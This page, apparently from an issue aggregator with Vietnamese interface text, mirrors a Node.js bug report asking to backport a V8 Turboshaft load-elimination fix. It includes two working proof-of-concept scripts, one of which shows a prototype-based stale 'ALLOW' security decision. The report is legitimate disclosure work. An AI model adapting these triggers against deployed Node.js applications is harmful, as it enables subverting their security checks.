V8 Turboshaft LLE alias bug (554421904) not backported to V8 14.6 (Node.js v26)
Chưa có ai nhận issue này.
Đánh giá
- Độ khó
- 4/5
- Thời gian dự kiến
- 3-5 ngày
- Mức phù hợp với người mới
- 48/100
- Loại issue
- Lỗi
- Độ rõ ràng
- Đặc tả rõ ràng
- Mức độ hoạt động
- Sôi nổi
- Công nghệ
- javascript, nodejs
- Lĩnh vực
- compilers
Hướng nghiên cứu
Bắt đầu bằng cách so sánh snapshot V8 14.6 của Node.js với upstream commit b44239fe, sau đó chạy v8-lle-poc.js và v8-lle-escalation.js bằng lệnh Node.js v26 được tài liệu hóa. Kiểm tra quy trình backport V8 và xác thực một bản build đã được áp dụng patch dựa trên cả hai đầu ra mong đợi; được xem là hoàn tất khi fix đã được áp dụng hoặc lịch trình của nó đã được xác nhận.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
Summary
V8 bug 554421904 — "Turboshaft LLE: non-writing calls can create aliases" — is fixed upstream in V8 15.3 / Chrome 153 by commit b44239fe. The fix is not present in the V8 14.6 snapshot shipped by current stable Node.js v26.3.0.
An optimized function returns a wrong value (undefined instead of 1.1) because Turboshaft's Late Load Elimination (LLE) marks a BoundFunction invocation as a non-writing call, but the call creates a hidden alias to an input array and writes through that alias. LLE does not invalidate its tracked state, so a subsequent valid store (set7) is eliminated — the returned array slot stays undefined.
This is a backport request: please apply b44239fe to Node.js's V8 14.6 line, or confirm it is already scheduled.
Environment
| Node.js | v26.3.0 (current stable) |
| V8 | 14.6.202.34-node.20 |
| Platform | macOS arm64 (compiler-level bug — platform independent) |
| Reproduced | 5/5 fresh processes |
| Fixed in | Chrome 153 / V8 15.3 (commit b44239fe) — absent in Node.js v26 |
Steps to Reproduce
node --allow-natives-syntax v8-lle-poc.js
Actual output (wrong) on Node.js v26.3.0:
Optimization status: 65 | Turboshaft(64): true | TurboFan(2): false | Maglev(16): false
staleArray[0]: 1.1 | expected: 1.1 | OK
staleArray[7]: undefined | expected: 1.1 | WRONG!
target.length: 0 | expected: 0 | OK
RESULT: BUG TRIGGERED — Turboshaft LLE eliminated a valid store
V8: 14.6.202.34-node.20 | Node: v26.3.0
Expected output (patched build):
staleArray[0]: 1.1 | expected: 1.1 | OK
staleArray[7]: 1.1 | expected: 1.1 | OK
target.length: 0 | expected: 0 | OK
RESULT: NOT TRIGGERED on this build
PoC #1 — Correctness (v8-lle-poc.js)
// V8 Turboshaft LLE alias bug (V8 554421904) — NOT backported to V8 14.6 (Node.js v26)
// Upstream fix: commit b44239fe (V8 15.3 / Chrome 153)
// Run: node --allow-natives-syntax v8-lle-poc.js
'use strict';
function set7(arr, v) { arr[7] = v; }
function set0(arr, v) { arr[0] = v; }
function carrier(...rest) {
const receiver = rest[32765] ? rest[32766] : doubleArray;
set0(receiver, 1.1);
}
function victim(payload) {
const staleArray = Array(8);
const target = [];
if (!trigger) staleArray.x = 0;
boundCarrier(trigger, staleArray);
set7(staleArray, payload);
return { target, staleArray };
}
%PrepareFunctionForOptimization(set0);
%PrepareFunctionForOptimization(set7);
%PrepareFunctionForOptimization(carrier);
%PrepareFunctionForOptimization(victim);
const doubleArray = Array(8);
set0(doubleArray, 1.1);
set7(doubleArray, 0);
set0(Array(8), 0);
const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));
let trigger = 0;
victim(0);
trigger = 1;
boundCarrier(trigger, doubleArray);
trigger = 0;
victim(0);
%OptimizeFunctionOnNextCall(victim);
trigger = 1;
const { target, staleArray } = victim(1.1);
const status = %GetOptimizationStatus(victim);
console.log('Optimization status:', status, '| Turboshaft(64):', !!(status & 64));
const a0 = staleArray[0];
const a7 = staleArray[7];
console.log('staleArray[0]:', a0, '| expected: 1.1 |', a0 === 1.1 ? 'OK' : 'WRONG!');
console.log('staleArray[7]:', a7, '| expected: 1.1 |', a7 === 1.1 ? 'OK' : 'WRONG!');
if (a0 === 1.1 && a7 === 1.1) {
console.log('RESULT: NOT TRIGGERED on this build');
} else {
console.log('RESULT: BUG TRIGGERED — Turboshaft LLE eliminated a valid store');
console.log(' V8:', process.versions.v8, '| Node:', process.version);
}
PoC #2 — Escalation (v8-lle-escalation.js)
'use strict';
function set7(arr, v) { arr[7] = v; }
function set0(arr, v) { arr[0] = v; }
function carrier(...rest) {
const receiver = rest[32765] ? rest[32766] : doubleArray;
set0(receiver, 1.1);
}
function victim(payload) {
const staleArray = Array(8);
const target = [];
if (!trigger) staleArray.x = 0;
boundCarrier(trigger, staleArray);
set7(staleArray, payload); // DENY write — LLE target
return staleArray[7]; // own property if written, else prototype
}
%PrepareFunctionForOptimization(set0);
%PrepareFunctionForOptimization(set7);
%PrepareFunctionForOptimization(carrier);
%PrepareFunctionForOptimization(victim);
const doubleArray = Array(8);
set0(doubleArray, 1.1); set7(doubleArray, 0); set0(Array(8), 0);
const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));
let trigger = 0; victim(0);
trigger = 1; boundCarrier(trigger, doubleArray);
trigger = 0; victim(0);
Array.prototype[7] = 'ALLOW'; // attacker-controlled prototype slot
%OptimizeFunctionOnNextCall(victim);
trigger = 1;
const r = victim(0); // payload 0 = DENY
console.log('status:', %GetOptimizationStatus(victim), '| returned arr[7]:', r);
console.log(r === 0 ? 'DENY OK (secure)' : 'STALE ALLOW via prototype — security decision on wrong value!');
delete Array.prototype[7];
Confirmed output (Node.js v26.3.0):
status: 65 | returned arr[7]: ALLOW
STALE ALLOW via prototype — security decision on wrong value!
Note: the escalation requires attacker-controlled JS execution. It demonstrates the maximal impact class of the miscompilation only, not a standalone boundary-crossing claim.
Root Cause
boundCarrier = carrier.bind(null, ...Array(32765).fill(0))— 32,765 bound args + 2 call args = 32,767 (kMaxArguments)- Turboshaft LLE marks the BoundFunction invocation as
!can_write()because it only allocates new memory for argument marshalling - Inside
carrier,rest[32766]isstaleArray— the call created an alias to the input, andset0writes through it - LLE does not invalidate
staleArray's state, soset7(staleArray, payload)is eliminated - Result:
staleArray[7]staysundefined
Upstream commit message (b44239fe) confirms:
"The can_write effect really means 'can write to pre-existing memory'... A builtin that allocates memory and writes to it can be marked as !can_write(), but it could still create aliases to its inputs, which we do need to invalidate."
Suggested Fix
Backport V8 commit b44239fe
Change-Id: I8045ec40d2819d9ab92795b2352374a0df20cbc8
"[M153] [turboshaft] LLE: non-writing calls can create aliases" — Fixed: 554421904
References
- Upstream fix: https://chromium.googlesource.com/v8/v8/+/b44239fe
- Code review: https://chromium-review.googlesource.com/c/v8/v8/+/8345010
- V8 bug: 554421904
- Ngôn ngữ chính
- JavaScript
- Star
- 122k
- Fork
- 37.4k
- Merge trung bình
- 4 ngày 3 giờ
- Pull request đã merge (30 ngày)
- 273
Hướng dẫn đóng góp
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của nodejs/node
-
doc
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 65/100
-
build
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 88/100
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 84/100
-
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 90/100
-
feature request
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 68/100
Issue tương tự
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 88/100
HarperFast/skills#96 ·
-
[Block] Latest Posts [Type] Bug
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 76/100
-
Daemon passes --experimental-wasm-jspi unconditionally on Node >= 24; Node 26 rejects the flag Đang mở
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 78/100
Automattic/studio#4908 ·
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 74/100
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 86/100
sugarlabs/musicblocks#8847 ·